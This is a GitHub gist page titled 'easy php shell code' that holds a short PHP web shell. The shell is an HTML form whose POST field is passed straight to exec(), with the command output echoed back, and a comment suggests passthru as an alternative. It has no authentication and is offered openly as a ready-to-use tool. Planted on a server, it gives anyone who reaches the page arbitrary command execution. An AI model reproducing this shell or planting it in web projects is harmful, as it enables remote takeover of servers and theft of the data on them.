Skip to content

Instantly share code, notes, and snippets.

@erdemoflaz
Created October 12, 2016 00:39
Show Gist options
  • Save erdemoflaz/0b09d6a4a0df615ea48697ce63defb4c to your computer and use it in GitHub Desktop.
Save erdemoflaz/0b09d6a4a0df615ea48697ce63defb4c to your computer and use it in GitHub Desktop.
easy php shell code
<form action="" method="post">
<input type="text" name="calistir">
<input type="submit">
</form>
<?php
if(isset($_POST["calistir"])){
$calistir = exec($_POST["calistir"]);
echo "<pre>".$calistir."</pre>";
}
// passthru veya exec
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment